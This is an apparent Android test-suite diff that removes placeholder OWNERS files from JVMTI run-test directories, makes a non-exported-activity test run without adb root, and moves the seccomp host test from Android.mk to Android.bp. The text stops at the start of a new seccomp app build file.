diff --git a/hostsidetests/jvmti/run-tests/test-927/OWNERS b/hostsidetests/jvmti/run-tests/test-927/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-927/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/OWNERS b/hostsidetests/jvmti/run-tests/test-927/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-927/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-928/OWNERS b/hostsidetests/jvmti/run-tests/test-928/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-928/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/OWNERS b/hostsidetests/jvmti/run-tests/test-928/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-928/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-930/OWNERS b/hostsidetests/jvmti/run-tests/test-930/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-930/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/OWNERS b/hostsidetests/jvmti/run-tests/test-930/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-930/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-931/OWNERS b/hostsidetests/jvmti/run-tests/test-931/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-931/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/OWNERS b/hostsidetests/jvmti/run-tests/test-931/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-931/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-932/OWNERS b/hostsidetests/jvmti/run-tests/test-932/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-932/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/OWNERS b/hostsidetests/jvmti/run-tests/test-932/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-932/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-940/OWNERS b/hostsidetests/jvmti/run-tests/test-940/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-940/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/OWNERS b/hostsidetests/jvmti/run-tests/test-940/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-940/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-942/OWNERS b/hostsidetests/jvmti/run-tests/test-942/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-942/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/OWNERS b/hostsidetests/jvmti/run-tests/test-942/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-942/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-944/OWNERS b/hostsidetests/jvmti/run-tests/test-944/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-944/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/OWNERS b/hostsidetests/jvmti/run-tests/test-944/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-944/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-945/OWNERS b/hostsidetests/jvmti/run-tests/test-945/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-945/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/OWNERS b/hostsidetests/jvmti/run-tests/test-945/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-945/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-947/OWNERS b/hostsidetests/jvmti/run-tests/test-947/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-947/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/OWNERS b/hostsidetests/jvmti/run-tests/test-947/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-947/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-951/OWNERS b/hostsidetests/jvmti/run-tests/test-951/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-951/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/OWNERS b/hostsidetests/jvmti/run-tests/test-951/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-951/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-982/OWNERS b/hostsidetests/jvmti/run-tests/test-982/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-982/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/OWNERS b/hostsidetests/jvmti/run-tests/test-982/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-982/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-983/OWNERS b/hostsidetests/jvmti/run-tests/test-983/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-983/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/OWNERS b/hostsidetests/jvmti/run-tests/test-983/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-983/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-984/OWNERS b/hostsidetests/jvmti/run-tests/test-984/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-984/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/OWNERS b/hostsidetests/jvmti/run-tests/test-984/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-984/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-985/OWNERS b/hostsidetests/jvmti/run-tests/test-985/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-985/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/OWNERS b/hostsidetests/jvmti/run-tests/test-985/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-985/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-986/OWNERS b/hostsidetests/jvmti/run-tests/test-986/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-986/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/OWNERS b/hostsidetests/jvmti/run-tests/test-986/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-986/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-988/OWNERS b/hostsidetests/jvmti/run-tests/test-988/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-988/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/OWNERS b/hostsidetests/jvmti/run-tests/test-988/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-988/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-989/OWNERS b/hostsidetests/jvmti/run-tests/test-989/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-989/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/OWNERS b/hostsidetests/jvmti/run-tests/test-989/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-989/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-990/OWNERS b/hostsidetests/jvmti/run-tests/test-990/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-990/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/OWNERS b/hostsidetests/jvmti/run-tests/test-990/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-990/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-991/OWNERS b/hostsidetests/jvmti/run-tests/test-991/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-991/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/OWNERS b/hostsidetests/jvmti/run-tests/test-991/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-991/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-992/OWNERS b/hostsidetests/jvmti/run-tests/test-992/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-992/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/OWNERS b/hostsidetests/jvmti/run-tests/test-992/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-992/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-993/OWNERS b/hostsidetests/jvmti/run-tests/test-993/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-993/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/OWNERS b/hostsidetests/jvmti/run-tests/test-993/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-993/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-994/OWNERS b/hostsidetests/jvmti/run-tests/test-994/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-994/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/OWNERS b/hostsidetests/jvmti/run-tests/test-994/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-994/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-995/OWNERS b/hostsidetests/jvmti/run-tests/test-995/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-995/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/OWNERS b/hostsidetests/jvmti/run-tests/test-995/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-995/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-996/OWNERS b/hostsidetests/jvmti/run-tests/test-996/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-996/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/OWNERS b/hostsidetests/jvmti/run-tests/test-996/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-996/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-997/OWNERS b/hostsidetests/jvmti/run-tests/test-997/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-997/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/OWNERS b/hostsidetests/jvmti/run-tests/test-997/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-997/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/tagging/OWNERS b/hostsidetests/jvmti/tagging/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 086f787..c557c9e 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -86,12 +86,22 @@
      */
     @AppModeFull(reason = "Error message is different for instant app (Activity does not exist)")
     public void testNonExportedActivities() throws Exception {
-        // Attempt to launch the non-exported activity in the test app
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
-        final String output = outputReceiver.getOutput();
+        // Run as unroot
+        boolean wasRoot = mDevice.isAdbRoot();
+        try {
+            mDevice.disableAdbRoot();
+            // Attempt to launch the non-exported activity in the test app
+            CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+            mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
+            final String output = outputReceiver.getOutput();
 
-        assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+            assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+        } finally {
+            // Restore back to original root state
+            if (wasRoot) {
+                mDevice.enableAdbRoot();
+            }
+        }
     }
 
     public void testIntentFilterHostValidation() throws Exception {
diff --git a/hostsidetests/seccomp/Android.bp b/hostsidetests/seccomp/Android.bp
new file mode 100644
index 0000000..cb61ad4
--- /dev/null
+++ b/hostsidetests/seccomp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSeccompHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/seccomp/Android.mk b/hostsidetests/seccomp/Android.mk
deleted file mode 100644
index 2c1c077..0000000
--- a/hostsidetests/seccomp/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsSeccompHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/Android.bp b/hostsidetests/seccomp/app/Android.bp
new file mode 100644
index 0000000..da78d53
--- /dev/null
+++ b/hostsidetests/seccomp/app/Android.bp
@@ -0,0 +1,37 @@
